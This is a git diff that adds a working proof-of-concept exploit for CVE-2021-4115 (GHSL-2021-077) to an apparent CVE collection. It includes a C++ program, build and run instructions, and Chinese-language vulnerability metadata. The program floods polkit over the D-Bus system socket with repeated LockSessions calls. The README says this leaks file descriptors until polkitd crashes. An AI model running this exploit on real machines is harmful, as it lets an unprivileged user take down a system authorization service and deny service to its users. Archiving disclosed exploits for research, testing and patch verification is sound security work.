diff --git a/cve/polkit/2021/CVE-2021-4115/CMakeLists.txt b/cve/polkit/2021/CVE-2021-4115/CMakeLists.txt new file mode 100644 index 0000000000000000000000000000000000000000..c76a99b7612797f58c8a3aec3d6a830a724679e8 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4115/CMakeLists.txt @@ -0,0 +1,30 @@ +cmake_minimum_required(VERSION 3.10) + +enable_testing() + +# set the project name +project(GHSL-2021-077-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-077: file descriptor exhaustion in polkit") + +# specify the C++ standard +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) + +option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) + +add_compile_options(-Wall -Wextra -pedantic -Werror) + +if (USE_SANITIZERS) + set(SANITIZER_FLAGS "-fsanitize=address,undefined") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") +endif() + +add_subdirectory(DBusParse) + +add_executable(locksessions locksessions.cpp) +target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt) +target_include_directories( + locksessions PRIVATE + $) diff --git a/cve/polkit/2021/CVE-2021-4115/README.md b/cve/polkit/2021/CVE-2021-4115/README.md new file mode 100644 index 0000000000000000000000000000000000000000..5f7d84a9cbdda7b93e72f851549fd6d47980b55d --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4115/README.md @@ -0,0 +1,52 @@ +Copyright 2021 Kevin Backhouse. + +# GHSL-2021-077 + +This repository contains a proof of concept exploit for GHSL-2021-077: +file descriptor exhaustion in +[polkit](https://gitlab.freedesktop.org/polkit/polkit). + +# Build + +Instructions for building the PoC: + +```bash +git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse +mkdir build +cd build +cmake .. +make +``` + +# Running + +The PoC causes polkit to leak eventfd file descriptors. After several runs +of the PoC, polkit will leak so many file descriptors that it will crash +due to exceeding its quota of file descriptors. + +First, check how many file descriptors polkit has open: + +```bash +$ sudo ls -l /proc/`pidof polkitd`/fd | wc + 12 123 680 +``` + +Now run the PoC: + +```bash +./locksessions /var/run/dbus/system_bus_socket 0x4000 +``` + +(The PoC is named locksessions because it calls the +org.freedesktop.login1.Manager.LockSessions D-Bus method.) + +Now check again how many file descriptors polkit has open: + +``` +$ sudo ls -l /proc/`pidof polkitd`/fd | wc + 255 2796 16872 +``` + +Notice that a large number of eventfd file descriptors have been +leaked. After few more runs of the PoC, polkit will most likely +crash. diff --git a/cve/polkit/2021/CVE-2021-4115/locksessions.cpp b/cve/polkit/2021/CVE-2021-4115/locksessions.cpp new file mode 100644 index 0000000000000000000000000000000000000000..2046cc8a087189039d2c676e93b494410b7a0e78 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-4115/locksessions.cpp @@ -0,0 +1,111 @@ +// Copyright 2021 Kevin Backhouse. +// +// This file is part of GHSL-2021-077-polkit. +// +// GHSL-2021-077-polkit is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// GHSL-2021-077-polkit is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with GHSL-2021-077-polkit. If not, see . + + +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "utils.hpp" +#include +#include +#include + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk0(), + _s("/org/freedesktop/login1"), + _s("org.freedesktop.login1.Manager"), + _s("org.freedesktop.login1"), + _s("LockSessions") + ); +} + +// Keep trying `attempt_LockSessions_with_disconnect` with different +// delay values until the exploit succeeds (or we decide to give up). +static void exploit_LockSessions( + const uid_t uid, + const char* filename, + const long n +) { + DBusSocket fd(uid, filename); + + for (long i = 0; i < n; i++) { + send_logind_LockSessions(fd.get(), i+1); + } +} + +static void usage(const char* progname) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket 4096\n", + progname, + progname + ); +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 3) { + usage(progname); + return EXIT_FAILURE; + } + + char* endptr = 0; + const long n = strtol(argv[2], &endptr, 0); + if (endptr == argv[2] || *endptr != '\0') { + usage(progname); + return EXIT_FAILURE; + } + + const uid_t uid = getuid(); + const char* filename = argv[1]; + + for (size_t i = 0; i < 1; i++) { + exploit_LockSessions(uid, filename, n); + } + + return EXIT_SUCCESS; +} diff --git a/cve/polkit/2021/yaml/CVE-2021-4115.yaml b/cve/polkit/2021/yaml/CVE-2021-4115.yaml new file mode 100644 index 0000000000000000000000000000000000000000..6b342c5462f38db15690c4d26260abc78770d2d9 --- /dev/null +++ b/cve/polkit/2021/yaml/CVE-2021-4115.yaml @@ -0,0 +1,23 @@ +id: CVE-2021-4115 +source: https://github.com/github/securitylab/tree/main/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115 +info: + name: Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。 + severity: Medium + description: | + Polkit 存在资源管理错误漏洞,该漏洞源于进程文件描述符耗尽,攻击者利用该漏洞允许非特权用户导致polkit崩溃。 + scope-of-influence: + polkit = 0.117 + reference: + - https://access.redhat.com/security/cve/cve-2021-4115 + - https://gitlab.com/redhat/centos-stream/rpms/polkit/-/merge_requests/6/diffs?commit_id=bf900df04dc390d389e59aa10942b0f2b15c531e + - https://gitlab.freedesktop.org/polkit/polkit/-/issues/141 + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VGKWCBS6IDZYYDYM2WIWJM5BL7QQTWPF/ + - https://www.oracle.com/security-alerts/cpujul2022.html + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H + cvss-score: 5.5 + cve-id: CVE-2021-4115 + cwe-id: CWE-400 + cnvd-id: None + kve-id: None + tags: cve2021, 未加控制的资源消耗(资源穷尽) \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 5a8b7367b6465e9d0e9c24f102c47dfafcf732cc..e8f49dcd25eb85e10008b45d2be97b4dbdff143d 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -59,6 +59,7 @@ cve: - CVE-2022-26134 polkit: - CVE-2021-4034 + - CVE-2021-4115 vim: - CVE-2021-3778 - CVE-2022-0351